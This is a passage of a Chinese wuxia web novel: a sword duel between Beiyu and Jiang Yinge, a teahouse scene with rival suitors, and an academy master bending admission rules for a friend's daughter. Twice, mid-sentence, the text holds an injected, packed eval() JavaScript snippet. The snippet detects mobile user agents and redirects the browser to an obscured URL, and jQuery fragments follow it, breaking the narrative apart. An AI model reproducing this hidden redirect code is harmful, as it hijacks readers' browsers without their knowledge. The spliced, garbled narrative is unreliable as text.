十年间,他识了字,取了名,木棍换长剑,丐装换白衣,成了北境唯一在名声上,并肩北羽的习武天才。 他没有师父,练剑全靠街头巷尾流传的哄孩子玩的劣质剑谱,却从里面悟出强大的剑术;他没有家人,却在习武有成,展露头脚后,开了一家百善堂,收留任何来投奔的年幼孤儿,包括弃婴。 另外,还开了一家百事馆,来养育百善堂里的孩子们。 只要出得起价,他可以替各方势力、各色人物办事,除了杀人不干,其余都干,什么送亲押镖,甚至灵堂哭丧,来者不拒。 许多门派世家看中他的天赋,想纳入门下,迎为客卿,但江吟歌统统拒绝,只一句话,嫌约束,怕束缚。 他是一个神秘的,野蛮生长的天才剑客,年纪轻轻走遍天下,打败过很多以剑闻名的高手,名声是走南闯北,一剑剑打出来的。 同时,他也是一个众所周知的大善人,把钱都投入养孤儿弃婴这种伟大的事上。 他的存在,就像北羽天生仙骨一样,本身就是一个传奇。 海刀夫子:“江吟歌,你来晚了,试剑大会已经结束了。” “结束了?那第一是谁?仙骨北羽吗?”江吟歌问。 “正是。” 海刀夫子摊开两只手,笑道:“此次试剑大会第一,便是圣剑山白发剑圣的徒儿,同时也是我学宫的弟子北羽,居于第二的,则是火晟老人的徒弟叶一片,同样也是我学宫弟子。” “你迟到了,没有你的位置了。” “无妨,我从不在乎世俗虚名,只是我星夜兼程来天枢城一趟,不能白来。”江吟歌看向北羽,“且让我同她比上一场吧,仙骨之名,如雷贯耳多年了。” 北羽瞪着他,没有说话,她讨厌这个男人。 江吟歌将视线挪向海刀夫子,海刀夫子心思活络起来:“啧,不行啊,北羽受伤了,这样比不公平,不如你暂在学宫住下,她伤好了,你们再比。” “不行,我手头事多,百善堂那么多孩子等着我养活呢,指不定我过一会就得忙着挣钱去了。既然她受伤了,我收着点就行,如果现在不比,那我走了。”他又看向北羽。 北羽冷笑:“我没受伤,谁说我受伤了,比,现在就比。” 她直接跳上擂台,江吟歌翻身下马也走上去,海刀夫子眉心一跳,叶一片摸摸脑袋:“这就要打了?夫子,江吟歌可是一个好对手,我也想跟他打。” “打什么打,赶紧跟我去坐着,看好戏吧。” 突然加了一场比试,来人还是江吟歌这种大名鼎鼎的少年天骄,场内观众无不兴奋,就连台上的轩宸帝也微微探身,期待有加。 江吟歌拔剑,剑气随之破空,银刃闪烁在北羽眼前。 好快的剑,她反手握剑刺去,剑身碰撞,铮铮作响。 擦肩而过的瞬间,北羽斜睨他,“剑不错,叫什么?” “神霄。你的呢?” “明知故问。” 她一剑挑向江吟歌暴露出来的后背,他轻轻一笑,用剑鞘挡住,纯厚内力抵消肃杀剑气。 北羽震惊:“你快到羽化境了!” “你也快了啊。”江吟歌很无所谓,察觉到她的剑势一下弱了,神色欲言又止,他也缓下来。 两个人装模作样比划,实则聊起天。 “我有个朋友擅长搜集消息,他跟我提过你,说你是个特别忙的人,一天十二个时辰,得有八个时辰忙活挣钱,除去睡觉,练功练剑的时间很少。可你的内功扎实,应该苦修过。” 岂止内功,江吟歌身法也够快,一个无从依靠的孤儿,从哪得到各类修炼秘籍。 “呵,你这位朋友挺了解我的,我从前专门抽了三年时间修内力,至于剑术,没时间练我就在脑子里练,自个琢磨。” “哟,那你可真是天才。” 北羽这话讲得酸溜溜,十岁前,她在圣剑山苦修,后面下山入学宫,终于能偷懒,但曾经养成的习惯,非一日可改,就算玩得不亦乐乎,她也会抽时间练剑修行。 江吟歌竟然只用在脑子里练就行了,而且,他才专门修了三年内功,已经离羽化境一线之隔,比叶一片还强。 不会吧,他不会真能跟她打个平手吧。 北羽思绪乱了,直接调转剑势,“不聊了,来吧!” 仙乐起,太上忘情剑法现。 万千剑气自万物中出,是灵气,也是杀气,这就是北羽的仙剑道,天地之间,皆为我所用,也是太上忘情剑法的霸道所在。 江吟歌收起笑脸,望着天边霞色,正经起来,“这就是传说中的仙剑术吗……” 随后,他低头看了一眼自己的神霄剑,“老伙计,轮到咱们了,你可得撑住。” 他的剑道,是另一番景象,连连青山,峰峦叠翠,扑面而来的是潇洒,是超脱,是桀骜。 “真叫人羡慕。天下逍遥者,他当论第一。”台上的南戏霖仰视剑气交锋中,缠斗在一起的二人。 云笙弦哼了一声:“羡慕这个来砸北羽场子的家伙吗?” “是,我羡慕他,像他这样不为己悲,一身侠肝义胆,将人生过得如此畅快的孤儿,世上找不出第二个。” 南戏霖道:“记得,我跟老爹外出访友,曾经在一个饭馆见过他。当时有几个混混在对一个患病将死的孤儿施暴。江吟歌打走了混混,给小孤儿擦脸洗手,请吃饭,完了之后,小孤儿讲,哥哥,我快病死了,你救我没意义。 江吟歌斩钉截铁告诉他,你的病有的治,然后领着他回了逍遥城的百善堂。” 有些事,听说是一种感觉,亲眼见证又是另一种感觉。 云笙弦:“那孩子的病真能治好?” 南戏霖摇头,“病入膏肓,神仙难救,不过,至少在他生命最后的时光,江吟歌会一直给他希望,对他好。” 南戏霖也是个孤儿,但他记得爹娘,知道父母之爱是何滋味,失去之后何等痛苦,那些连父母亲情都没有感受过的孤儿,只能靠想象。 遇见江吟歌的孤儿是幸运的,因为江吟歌挣钱养活他们,关心他们身体,让他们读书,简直比很多形同虚设,仅靠血缘衔接的父亲,更像个操劳的老父亲。 若世人都同江吟歌一般,那世间将会多出许多美好。 “快看北羽和江吟歌!” 叶一片的惊呼打断南戏霖的思绪,他抬眼望去,那两股交缠在一起的剑势,并未分出强弱,膨胀到极端后,如烟花般炸开。 一道身影如雀鸟般跃起,灵动飘逸,而白色身影也掠向远方。 “他们要去哪?”玄北离担忧道。 “看方向,是学宫。” 学宫之中,金柳依依,翠绿金灿。 北羽的鞋尖轻点过一片柳叶,江吟歌的白衣扫过柳梢,随风起舞的万千柳条淹没他们的身影,只有残仙剑与神霄剑时不时碰撞,闪出火花。 方才未分胜负,二人心照不宣远离演武场,在只有柳叶婆娑的静谧之地,比试剑法。 柳叶过目,江吟歌望见北羽的眸子,里面是平静,美丽的面庞不带一丝情绪,几缕零碎的乱发抚过,剑抵剑,近在咫尺,江吟歌甚至看清她脸上细小的绒毛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491615|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “平手,怎么打都是平手,别打了。” “不,我不要跟你平手。”北羽盯着他。 那就要继续打了,江吟歌心疼看了眼神霄剑刃,北羽注意到神霄剑刃已经受损,道:“你应该换一把更好的剑。” “天下十名剑,残仙在我这,不见人间和火神云是我两个朋友的剑,梦殇在星宫,落雨剑是雪颂剑圣李颂雪的佩剑,除去这五柄剑,还剩五柄名剑,你应该去找一把。” 江吟歌:“定海剑跟玉昆仑都在南境皇宫,归天心女帝所有,你是喊我去盗剑吗?心碎、成绝唱是一对佩剑,据我所知落在了西海乔家手中,我难道要去抢?风吟剑倒是在西海的风吟谷里,随风徘徊,日夜长吟,可惜无人敢取,我也不敢。” “那算你倒霉,与名剑无缘。”北羽跃出金柳,去向寒潭。 冷梅怒绽,艳红似血。 剑气丛生,卷起落花。 江吟歌觉得北羽有点过头了,“你该不会要走火入魔了吧。” “修太上忘情剑法者,除非遇情关,否则天塌下来,也不会走火入魔。”北羽又是一剑横劈,江吟歌连连后退。 奇怪,不是走火入魔的前兆,她怎么突然变强了,江吟歌余光瞄向寒潭,再这样打下去,他们的内力都会耗光,得让她冷静一下。 他转换攻势,一个滑铲贴近北羽,飞快拽住她腰带,将其扯落寒潭。 寒潭底部的冰块来自玉巅雪峰,那里的寒冷亘古不变,但是,北羽没有感觉多冷,她的骨头里仿佛在翻涌岩浆,即将爆发。 与此同时,残仙发出亮光。 ……. 皇家演武场内,人们交头接耳。 “北羽跟江吟歌去哪了?” “是啊,为什么还没回来?” “该不会两个人打着打着,出事了吧,北羽之前可是打残了西海唐门的唐引琼。” “啧,这可说不准。” “……哇!看呐!天边有流星!” 两道光芒划过天际,寒潭冰水,湖边金柳随之而来。 海刀夫子震惊站起,台上众人纷纷起立,伍行烈嘴巴张大足以塞进鸡蛋,“我滴个乖乖,这两人要破境了!” 寒潭冷水裹着梅花瓣环绕北羽,她浑身湿透,闭着眼,发丝粘糊糊贴在脸上,心境一片通达。 原来太上忘情剑法的第二式精髓,在于以自然之物凝力,恰好,玉巅雪峰上的冰块融化的水,便是世间极寒之物。 那,就让这寒水,化为奔腾不息的万马吧! “太上忘情剑法第二式,白马吟!” 白马踏浪,势如千军破红尘。 江吟歌捏住一片金柳叶,微微一笑,学宫果然是个不错的地方,有最好的剑客,有最美的柳叶,还给了他一个最好的破境时机。 “峰起青鸾!” 凌峰现,青鸟出,神霄一剑破云端。 演武场内,无数人倒吸凉气,只见白马与青峰交汇,恍惚间,有马踏飞燕的景色,随后一切归于沉寂,擂台上没有人,只留下漫天飞舞的梅花瓣和金柳叶。 观众席间,莫淮接住一片梅花,小声念道:“北羽……” 观战台上,轩宸帝不解问道:“这是平手了?” 宣德太监想了想,“剑术上二人平分秋色,修为上北羽先一步破境,更胜一筹。” 轩宸帝:“毕竟是仙骨,更优秀些也是理所当然。不过,这个江吟歌着实不错。仙骨千年难遇,能跟仙骨打平手的,当然也千年难遇。” 宣德点头,看向西海使臣跟南境使臣那边。 南境这里,关于北羽跟辰雪雪孰强孰弱的争论,韩霸天占据上风,韩飞鸿脸色铁青。 韩誉年摇头苦笑,得亏没让圣女殿下来,即便圣女殿下来了,也会败于北羽、江吟歌之手,十六岁入境羽化,真是奇才啊。 西海那边,伍行烈拍拍唐引琼的肩膀,唐引琼对他一笑,心里挺为北羽高兴的,林盏盏拽着两个长辈,好奇问:“北羽是不是比雨姐姐强啊。” 伍行烈:“当然啦,北羽都羽化境了,回头我可得好好激一激你雨姐姐。” 经此一战,本来以为自家弟子跟北羽水平大差不差的韩誉年、伍行烈,全都老实了,就算镜悬大陆的其余几个人中龙凤没来又怎样,来了照样打不过北羽。 宣德太监对着正在回味刚才惊天动地一战的轩宸帝道:“陛下,奴才忽然想起一件关于江吟歌的轶事。” “哦?说来听听。” “江吟歌两年前,曾经去过西海,遇上了无极宫的大宫主李念念,李宫主对江吟歌极为欣赏,三次邀他入无极宫,都被拒绝。 然而,李念念并未生气,反而写了一首诗夸赞江吟歌。” 轩宸帝起了兴致道:“什么诗?” 宣德笑道:“碧海踏潮浪逐波,斜阳照草金满坡。城中岁月峥嵘过,江边千古一吟歌。” 19. 卷一·学宫试剑 试剑大会结束后的第二天,也是北羽消失的第二天。 眼见第三天的花车游街、入宫见圣即将到来,海刀夫子急了,一上午往十斋跑了三趟,喝令南戏霖务必日落前找到北羽。 南戏霖不慌不忙,嗑着瓜子,给前日的比武下了定论。 “好好一锅菜,最后添了料,虽然吃得痛快,但仔细想想,又不痛快,那北羽肯定得找个没人打扰的地方,消化消化。” “所以她就直接跑掉,失踪了?”叶一片总觉得不至于,他边扒橘子边说道:“依我看,她是为了躲人,西海的唐引琼昨天来蹲了一天,想约她出去。” “笙弦,你怎么看?” 南戏霖朝云笙弦丢了粒瓜子。 云笙弦正对着一枚荷包发呆,他双眼无神地嗑掉那粒瓜子,“不知道,情情爱爱的事,少问我。” 一直沉默的玄北离起身,向外走去,三个人把他叫住。 “你想什么呢,老顶着一副便秘的表情。”南戏霖问道。 叶一片:“谁惹你了?昨天我下棋故意输给你三局,你都不带笑的,有什么心事说出来。” “我……在犹豫一件事,你们不用担心……很快,我就会做出决定了。” 瞅着玄北离落荒而逃的背影,南戏霖吐掉瓜子皮,“真相已经水落石出了,他肯定知道北羽在哪的。” 叶一片:“你怎么看出来的?我怎么看不出来。” “因为我聪明,而且比你聪明。”南戏霖哈哈大笑,叶一片摩拳擦掌,两个人缠打成一团,云笙弦叹了口气,继续望着金绣星月鸳鸯荷包发愁。 …………… 天枢城南街。 玄北离刚走近茶馆,便见一群人围在附近。 北羽坐在窗边手捧着脸,看屋檐上的麻雀,嫩绿色的锦缎衣裙镶嵌金纱边,美得像神塑,明媚如阳光,这条裙子是叶一片的师父送的,借鉴了学宫的金柳,云笙弦格外夸赞过,说这一套穿在北羽身上,名副其实的学宫第一美人。 看见他,北羽笑了,招招手。 玄北离上了茶馆二楼坐在她旁边,“唐引琼还没来?” “应该快了吧。” “这两天你都呆在茶馆?” “没有,师父之前买了个宅子给我,我去那里住了,那里种了满院蔷薇花,很美。” 玄北离给她续茶,“跟江吟歌打成平手真这般令你不悦,连躲出去两天。” 北羽:“我哪有这么傲气,平手就平手,多亏了他推了我一把,让我更早破境。经此一役,天下谁人不知我北羽之强,现今坊间已经不喊我仙骨了,你猜,他们叫我什么?” “什么啊?” “残仙北羽。在外界看来,我的实力压过了我的天赋,十几年来头一遭啊,仙骨这个称呼可算摘了。”北羽摇晃褐色茶水,浅笑嫣然。 谈笑间,唐引琼来了。 红着脸的宝珠引他上楼,心想这个男人真好看。 看见玄北离的那刻,酝酿一路情绪的唐引琼愣住,手里握着的雪白栀子花,递给北羽也不是,藏也不是,只能轻轻搁在木桌上。 北羽微笑,唐引琼刚想说什么,玄北离开口道:“栀子花很漂亮。” 唐引琼有点羞涩,“路上碰见一个卖花的少郎,我瞧着新鲜漂亮,就买了一束给……” “可惜,她喜欢玫瑰花。”玄北离笑着用胳膊碰了下北羽,很亲昵的样子。 唐引琼收敛眼神,低头抿了口茶,茶水微苦,也涩涩的。 面对玄北离,任何一个男人也提不起足够的自信,有句话说得好,珠玉在侧,觉我形秽。 难道伍师叔打听错了,北羽和玄北离并非单纯好友,已经暗生情愫,那他岂不是…… 北羽将唐引琼的不安尽收眼底,十分满意。 以往那些被她拒绝后,还坚持示爱的少年,只要见了玄北离,没一个不心灰意冷的,她伤害过唐引琼,心中有愧,不想在感情上与他纠缠,这般不漏声色的婉拒,最合她心意。 她扭过头,低声道:“多谢了,晚上请你吃饭。” 玄北离听了这话,笑着拍了拍她的背,唐引琼见状更萎靡了。 北羽正得意呢,忽然,一道偏柔的男声传来,带着几分游戏人间的轻慢,“哟,真巧,你也在这啊。” 翩翩白衣被黑皮腰带束住,一根银簪束住长发,堪称风华无双,江吟歌一屁股坐在唐引琼旁边,露出白亮的牙齿,“小二,把你们这里最好的茶跟糕点端上来,我请朋友。” 北羽立即收起笑容,“谁跟你是朋友啊。” “唐兄啊,我们在无极宫一起喝过酒。”江吟歌笑眯眯。 北羽的脸直接垮了。 江吟歌抿起嘴,憋住笑,唐引琼眉心一皱,他印象中的江吟歌不是一个随便调笑女孩子的人,他撇了眼江吟歌,感觉十分不妙。 玄北离礼貌假笑:“江公子竟然还在天枢城,那天比武结束后,夫子派不少人寻你,想邀你同饮呢。” “哦,那回头请玄少爷替我向夫子道歉,在下一介武夫,不敢劳烦夫子。”江吟歌故意在少爷二字上拉长腔。 “噗!”北羽笑出声,“少爷!你竟然管玄北离叫少爷?” “逍遥城隶属玉瑶城,玄公子的父亲揽月剑圣是玉瑶城的城主,我是逍遥城的武夫,自然要喊他一声少爷。”江吟歌看着北羽,心道,她终于不绷着了。 玄北离忙道:“江公子别拿我开玩笑了,以出身论人,最为荒唐。” 江吟歌:“玄公子的母亲贵为郡主,父亲是北境六剑圣之一,为人却这般谦和,实在难得,我必须以茶代酒敬你一杯!” 他举起杯子,北羽抓住他手腕,“喂!少拿北离开涮,搞得我们跟你很熟似的。” “不熟吗?”江吟歌歪歪头,“俗话讲,一回生二回熟,咱们那天打了三次,够熟了,简直熟透了。” 北羽微微张嘴,被这番厚颜无耻的发言惊到了。 唐引琼制止江吟歌,“江兄,你是不是喝醉酒了?” “我千杯不倒,你知道的,上回在无极宫,你的雨师叔、伍师叔一起上,也没灌醉我。”江吟歌挑起桌上栀子花,“好漂亮的花,谁的啊?” 唐引琼顿时警惕:“我的。” 江吟歌拍拍腿,“我记得你喝醉时告诉过我,栀子花是你最喜欢的花,将来有了心爱的姑娘,一定要送栀子花给她。你喜欢北羽呀?” “江吟歌!”唐引琼像被踢了一脚的刺猬。 北羽绷不住,站起来就跑,不料在楼梯处跟一人撞了满怀,定睛一看,居然是莫淮。 北羽愣住,“你,你怎么也在这。” “宝珠说,有人找我。”莫淮以为是玉怜真找来了,不想却见到北羽,他无比惊喜,“我请你喝茶。” 喝茶! 为什么一个两个都喝茶! 早知道,她不把地方定在不凡茶馆了,简直一团糟。 北羽又沮丧又羞耻,苦皱起脸,“我今天不喝茶!” 她绕开莫淮下楼,玄北离、唐引琼、江吟歌都追过来,北羽气得跳脚,“站住!不许跟着我,谁来,我跟谁翻脸!” 她飞似的逃走了。 莫淮言听计从,玄北离姗姗止步,唐引琼踌躇踱步,唯有江吟歌要去追,但被玄北离拦住,“江公子,别再惹北羽生气了,明天她还要乘花车游行呢。” 江吟歌只得作罢,几人回了桌前,莫淮也跟上去,想搞明白刚才发生了什么,使北羽生气。 四人面面相觑,安静半响。 江吟歌轻咳一声:“抱歉,我很少跟人开玩笑,尤其是女孩子,我以为她笑了就会一直笑下去。” 玄北离:“无妨,北羽就是这个性子,脾气来得快,走得也快。江公子打算在天枢城呆多久,我可以带你去逛些好玩的地方。” “多谢,不必了,其实,我一会儿就要走了,给珍宝斋押趟镖,去天权城。” 珍宝斋是北境第一藏宝处,传闻背后大老板手眼通天,天下十名剑之一的落雨剑就曾在珍宝阁被拍卖,最后被一个神秘富商以天价中的天价买下,赠给雪颂剑圣李颂雪做定情信物。 一听江吟歌要走,玄北离笑容真切起来,只要这人走了,北羽很快会把他抛之脑后,“天权城,那可是个好地方,赫赫有名的商城。” 唐引琼坐不住,“毕竟今天是我把北羽约出来的,我去找找她,诸位请便。” 玄北离不置可否,北羽对唐引琼压根儿没感觉,他追到天涯海角也没用。 莫淮往楼下瞄了一眼,也想去找北羽“我还有事,告辞了。” 玄北离笑着目送他离开,北羽对此人顶天就是无聊找个新朋友耍耍,就凭莫淮脸上的胎记,他就勾不起北羽兴致。 北羽本就是个打美人,周边围了一堆容貌绝佳的人,不会对一个样貌平平的男子起心思的。 玄北离同北羽相识多年,看她还是准的。 …………… 街上人来人往,找到北羽却很容易,她并没有走远,站在一个卖花的摊子前,弯腰看着摊主养在水缸里的金鱼,摊主是一个妇人,红着脸跟北羽搭话。 唐引琼赶紧跑过去,“北羽,我……”话到嘴边,他忽然不知该说什么,北羽直起腰,“走,我请你喝酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491616|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 古朴热闹的街巷,摊贩堆积,西海商人摆弄着各类新奇玩意,东海的铁匠打铁时总喜欢咬块布,闯南走北的说书人,席子一摆,罗列各式各样的书籍,嘴一张,滔滔不绝。 北羽走在前面,风吹过,衣裙轻纱拂动,唐引琼嗅到一股蔷薇花香,阳光洒下,北羽的长发浮光跃金,她偶尔回头,看一眼唐引琼有没有跟丢,唇边的笑,淡淡的。 唐引琼忽然觉得时间流逝得格外缓慢,否则,他怎会看清北羽所有细微的动作。 北羽把他领进一个夹缝中的小酒铺,老板熟络地与她打招呼,北羽问他:“喜欢喝什么酒?” “跟你喝一样的就好。” “嗯,来壶竹叶青,两碟咸菜。”北羽转头看向他,笑道:“这家下酒的咸菜很好吃。” 咸菜跟酒来的很快。 唐引琼尝了尝,果然酒香滋味好,搭配味道独特的咸菜别具风味,是西海没有的味道。 北羽饮尽一盏酒,“其实,我拒绝人特别痛快。只是,那次比武实在对不住你,心中有愧,不想伤害你,才带玄北离去赴约。因为我觉得感情这种事,留一线余地,总归好受些,一旦窗户纸捅破了,就真伤心了。” 确实,说穿了真伤心,唐引琼听见自己心碎的声音。 “那你有喜欢的男子吗?” “没有。” 北羽吃了个咸菜,“即便没有,我也不会因为你追求我,而动心的。我嘛,很在乎第一面的感觉,会不会喜欢上一个男人,见他第一面就知道了。” 唐引琼心更碎了,密密麻麻地疼起来。 “那你……会喜欢什么样的人?” “长得好,懂剑术,没我强,大约如此。”北羽又喝了口酒,见唐引琼有点傻住了,她咧嘴一笑,“你是不是在想,我的要求也不高,你都符合,或者有不少人符合吧。” 唐引琼艰难点头。 “哈哈!所以对我而言,第一面的感觉很重要啦!” “那,我们能做朋友吗?等我回了西海,可以给你写信吗。” 北羽思索片刻,“当朋友吗?可你喜欢我,我们肯定做不成真朋友。写信的话,倒行,但不能写太多,一个月一封,不许表白,讲点你们那边有趣的事,咱们权当笔友。” 她举起酒杯,唐引琼不情不愿地碰了杯。 “我有个礼物送给你。”唐引琼取出一个精致的小木匣子,递给北羽,她打开一看惊呆了。 一枚极漂亮的发钗,绿宝石缀成蜜蜂采金花的样式,最小的宝石都有指甲盖那么大,显而易见的价值不菲,几乎闪瞎她的眼。 北羽啪地合上盖子,“太贵重了吧。” “千金难买喜欢,何谈贵重与否?”唐引琼喊老板打包了一坛竹叶青和一包咸菜,起身离座,朝她一笑,“也许,这辈子你都不会喜欢我,但你喜欢我的礼物,我也高兴。替我付酒钱吧,就当回礼。” 他掀帘离去,不给北羽拒绝的机会。 小木匣子就搁在桌上,北羽犹豫了一会,结了帐,把发钗戴在头上,她确实很喜欢这个礼物。 酒肆邱老板见了,咂舌道:“这支钗足够买下一整条街的铺子。” “老邱,你太夸张了,不过他是西海屈指可数的有钱人,这支发钗一定特别贵。”北羽摸了摸冰凉坚硬的珠宝。 蹲守在驿馆附近的伍行烈,在听完第八首北境小曲儿后,发现了他小师侄的踪影,他夺过唐引琼手里的酒,掀开盖闻了闻,“这酒酿的不错。怎么样了!北羽答应你没?” “回去配咸菜,更好喝。”唐引琼避重就轻。 伍行烈摸了把他的腰,嘿嘿一笑,“宝贝送出去了,看来,她答应你了。” 唐引琼摇摇头。 “搞什么!没答应你,你就把你娘留给你的首饰送给她!”伍行烈掐住自己的人中,“万一你以后移情别恋,另娶佳人,难道再觍着脸要回来,那无极宫的脸丢大发了!” “师叔,我不会让无极宫丢脸。”唐引琼打断伍行烈,“若此生与她无缘,我便终身不娶。” 伍行烈觉得荒谬:“你小子才十七岁,怎么就笃定往后几十年对她情谊不变。” “我就是笃定。”唐引琼向驿馆走去,一辆马车与他擦身而过,风拂起车帘,余光中闪过一抹湖蓝,他下意识看去。 “你看什么?”伍行烈问。 “那辆车上有学宫的标识。师叔,半个月前学宫也曾派出这样的马车来接我,被你拒绝了。” 伍行烈遥望马车,“哟,真是学宫专门接贵客的金香宝马车呢。” “不知道,又是哪位大人物来了。” 20. 卷一·学宫试剑 学宫,十斋内。 叶一片和南戏霖打累了,瘫在榻席上吃荔枝,叶一片扒了几颗给云笙弦,“还看呢,你干脆把盼灵姑娘绣的荷包供起来得了。” “这不是盼灵做的。” “靠!”南戏霖一个鲤鱼打挺,“那是谁!” “星宫的神医,沈傲枝。”云笙弦自暴自弃塞了两个荔枝进腮帮。 南戏霖惊了:“她跟盼灵应该关系挺好,怎么会给你绣荷包,还是鸳鸯荷包,祝福你和盼灵啊。” “别傻了。”叶一片将翻开的荷包放在他面前,“沈傲枝绣一个藏着她名字的荷包给她好朋友的男人,会是祝福他们?依我看,她是在替盼灵姑娘考验笙弦。” “考你个大头鬼!”南戏霖指着荷包边角,“这还有血迹呢,肯定是绣的时候刺伤了手指,舍不得丢了再绣,就缝朵红花遮。如果单纯为了考验,沈傲枝随便买一个荷包就够了,何必亲手绣。” 云笙弦打断他们,“说相声请出学宫右转走两条街去不凡茶馆。沈傲枝是盼灵唯一的朋友,我不希望她们之间的感情,因为我受损,快给我出出主意。” 南戏霖:“沈傲枝送荷包的时候,跟你说什么了?” 云笙弦:“什么也没说,塞给我就走了,还原以为是盼灵绣的。” 南戏霖思考一会,道:“情情爱爱的事,我不懂,但一针一线绣东西挺费功夫,沈傲枝有很多停手的机会,却最终绣完了荷包,送给了你,那她很喜欢你啊,喜欢到顾不上她跟盼灵的关系。” “她送你荷包的时候,神色如何?” “面无表情,像是去赴死的壮士。” “嗯,那她大约只是想要你知道,她喜欢你。沈傲枝作为星宫神医,从小众星捧月,做不出对好姐妹的男人示爱这种缺德事,委婉送个名字藏里面的荷包,也就是她的底线了。” 南戏霖挺欣赏沈傲枝的,试剑大会期间,沈傲枝上蹿下跳光给人免费疗伤,无半点神医架子,所谓医者仁心大抵如此。 “星宫长老即将启程回星地,沈傲枝不会留在学宫。你就当不知道荷包里藏字,糊弄过去,一旦这事被盼灵知道,她免不了在你跟沈傲枝之间做选择,多残忍啊,” 云笙弦:“也只能如此了,对了,分斋名单出来了吗。” “没有,我还在帮老爹筛人。” 试剑大会百强榜上的少年,可以留在学宫听学两年,进出瀚海书阁挑选武功秘籍。 瀚海书阁曾为天下第一秘籍库,虽然学宫归降慕容皇室后,某些绝学失传,它仍旧是无数人习武者向往的圣地。 “李传芳不会留下吧。”云笙弦瞥了他一眼,南戏霖汗颜,干笑两声,“不会,东海形势复杂,李传芳离开两年再回去,魔教就没他位置了,不过离行前,他想请你吃饭,你去吗?” 云笙弦皱眉,“你失心疯了,这话也问得出口。” 南戏霖又干笑两声,谁让他收了人家钱,总得帮忙问一下,碰鼻子灰。 此时,屋外檐下悬挂的铃铛,摇晃起来。 云笙弦冷笑一声:“听见没,紫金铃响夫子找你,少替无关紧要的家伙操心了。” 南戏霖朝他笑了笑,拽走了叶一片,叶一片试图挣扎,“我不要去干活!” “好兄弟有福同享有难同当,搭把手啦!” 二人一路打打闹闹,来到海刀夫子居住的吊脚小楼。 看见金香宝马车,南戏霖咦了一声,这是谁来了?动用了学宫最高接待规格,却没去迎宾堂,反而在他老爹的住处待着。 他拉住要从正门进去的叶一片,“你背着我上大梧桐树,先听听来客是谁。” 吊脚小楼后面长了一棵百年梧桐,树枝延伸进楼栏杆,紧贴着屋内,是偷听圣地,叶一片背上南戏霖,轻手轻脚攀树,两人竖起耳朵,静下心,交谈声断断续续传出。 “海兄,我年少寡居,拉扯两个孩子长大,雪君是我唯一的女儿,心头肉一般,那姓梁的虽是天玑城城主的儿子,却庸俗不堪,我怎舍得她被迫嫁给一个不匹配的男子。 若非我炎武宗扎根天玑城多年,祖上有遗训,不可离开故地,否则,我早带着雪君躲出去了。 你就帮我这一回,让雪君暂入学宫,避祸吧。” “李兄,我知道你为难,但你先前在信里只说想让雪君住在学宫,免受骚扰,没有提过入斋的事。 学宫十斋,每一斋的人数都有规定,几乎都是百强榜的少年,雪君连试剑大会都没参加,她怎么入斋啊。” 雪君? 熟悉的名字唤醒了南戏霖的记忆,他道是谁来了,原来是天玑城炎武宗的宗主,这位宗主年少时曾学过一段时日的霸刀,与他老爹称兄道弟,感情不错,常年有书信往来。 他听老爹依稀提过,炎武宗有一位绝代美人,容貌堪称北境第一,正是宗主之女昭雪君。 旁边叶一片小声念叨:“这位宗主打得好算盘,他女儿连试剑大会都没参与,就想入斋,修习瀚海藏书阁里的秘籍,根本就是空手套白狼,摆明跑来走后门的。” “天玑城城主的儿子梁远山,我在试剑大会上见过,虽然武功算不上特别好,但学识渊博,文质彬彬,他却把人家说得像街溜子。” 南戏霖表示赞同。 天玑城为北境七大城之一,按北境的规矩,地方百姓归父母官管,江湖人士则由朝廷委任的城主约束。 七大城的城主通常出身武林世家,祖上要么跟皇家沾亲带故,要么在朝廷做过官。 譬如,玄北离的父亲,玉瑶城主揽月剑圣,就是当今陛下轩宸帝的妹夫。 炎武宗早就落败,如今不过三流宗派,论身份,昭雪君能嫁给天玑城城主的儿子,算高攀了。 不愿答应求婚是一回事,贬低来求婚的梁远山又是另一回事。 总不能因为自己闺女不喜欢人家,就把一个好端端的少年说成登徒子吧! 可接下来海刀夫子的话,令南戏霖大跌眼镜。 “唉!你硬要把女儿塞给我,那我也没办法,只是丑话说前头,雪君不能去瀚海书阁。” “好好好!海兄,真是多谢你了,我这就让雪君进来好谢你!” 叶一片跟南戏霖大眼瞪小眼。 “夫子居然真给他好兄弟开后门!” “老爹居然真给他好兄弟开后门!” 屋内的海刀夫子听见动静,挥袖甩出一道真气将挂在树上的二人打进屋来。 “哎呦!好疼!”南戏霖推开压在他身上的叶一片,揉着屁股站起来,海刀夫子狠狠弹他脑壳,“臭小子竟敢偷听你爹的私事!” “儿子跟爹哪有什么秘密!我就听!”南戏霖顶嘴,海刀夫子瞪向叶一片,“你也是,光跟着他不学好,去,给我端茶来。” 叶一片:“端茶没问题,但夫子你徇私舞弊,有失学宫之主风范。” “哟,你还教训起我来了!学宫之主是老子,老子想袒护谁,就袒护谁,不服去告我,我看谁敢插手。”海刀夫子气喝喝道。 “夫子,你这么做不公平。” “世上哪来这么多公平,我跟李宗主以前一块练刀好到穿一条裤子,给他女儿额外添个入斋名额而已,又不是帮他欺男霸女,谋财害命。快去给我倒杯茶,否则我把你踢出第十斋,放进其他斋里。” “别!”叶一片被捏住要害,乖乖去隔壁茶室,泡了一盏茶。 回屋时,楼边阑干处多了一位穿湖蓝衣裙的少女。 四目相对,他端着茶盘的手一斜,茶水泼了半杯,溅在袖子上,成了褐色的斑点。 阳光下,少女对他微微一笑。 